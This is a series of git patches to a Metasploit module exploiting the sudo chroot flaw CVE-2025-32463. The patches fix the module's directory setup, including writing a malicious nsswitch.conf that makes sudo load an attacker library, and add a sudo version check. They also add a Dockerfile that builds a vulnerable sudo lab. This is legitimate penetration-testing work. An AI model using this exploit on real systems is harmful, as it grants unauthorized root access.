febb52ea3f7f90bf1ad9f435b528d01404375b17 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 1 Aug 2025 12:40:50 +0200 Subject: [PATCH 13/16] Fixing mkdir issue --- .../exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 67f8ff0c2e20f..2c1833d5dc3d6 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -2,6 +2,8 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +require 'pry' +require 'pry-byebug' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -40,8 +42,8 @@ def initialize(info = {}) 'Arch' => [ ARCH_CMD ], - # mkdir/chmod has some issues for meterpreter, forcing shell - 'SessionTypes' => [ 'shell' ], + # chmod has some issues for meterpreter, forcing shell + 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], @@ -111,7 +113,10 @@ def exploit cd(temp_dir) + mkdir(base_dir.to_s) + mkdir("#{base_dir}/etc") + mkdir('libnss_') return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") From 02c81c57e930a2f8e1bffc54fe96384b5f98f53a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 1 Aug 2025 12:41:45 +0200 Subject: [PATCH 14/16] Removes redundant comment --- modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 2c1833d5dc3d6..089a005c017de 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -42,7 +42,6 @@ def initialize(info = {}) 'Arch' => [ ARCH_CMD ], - # chmod has some issues for meterpreter, forcing shell 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], From 8c43583e871edab03bf270d97525881d035fa5f3 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 5 Aug 2025 16:05:02 +0200 Subject: [PATCH 15/16] Removes debugging imports --- modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 089a005c017de..ffae9516b7c43 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'pry' -require 'pry-byebug' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking From eef1d3450612a253b74b3567b5a4904cf067f983 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 27 Aug 2025 17:58:11 +0200 Subject: [PATCH 16/16] Adds more comprehensive check, updates build instructions --- .../linux/local/sudo_chroot_cve_2025_32463.md | 26 +++++++++++++++++-- .../linux/local/sudo_chroot_cve_2025_32463.rb | 13 +++++++++- 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md index 09e8357d14eab..21bc20c0b714f 100644 --- a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md +++ b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md @@ -3,14 +3,36 @@ Sudo before version 1.9.14-1.9.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). -Installation of vulnerable sudo: +## Installation +1. Create `Dockerfile`: ``` -wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \ +# ----- Dockerfile ----- +FROM ubuntu:24.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \ + pkg-config libssl-dev git ca-certificates && \ + rm -rf /var/lib/apt/lists/* + +WORKDIR /opt +RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \ tar xzf sudo-1.9.16p2.tar.gz && \ cd sudo-1.9.16p2 && \ ./configure --disable-gcrypt --prefix=/usr && make && make install + +RUN useradd -m -s /bin/bash msfuser + +USER msfuser +WORKDIR /home/msfuser + +CMD ["/bin/bash"] ``` +1. `docker build -t sudo-chroot .` +1. `docker run -it --rm --privileged sudo-chroot` + ## Verification Steps diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index ffae9516b7c43..9309ed10bd2e9 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -69,8 +69,19 @@ def initialize(info = {}) ] end + # borrowed from exploits/linux/local/sudo_baron_samedit.rb + def get_version + versions = {} + output = cmd_exec('sudo --version') + if output + version = output.split("\n").first.split(' ').last + versions[:sudo] = version if version =~ /^\d/ + end + versions[:sudo].gsub(/p/, '.') + end + def check - sudo_version = installed_package_version('sudo') + sudo_version = installed_package_version('sudo') || get_version return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank?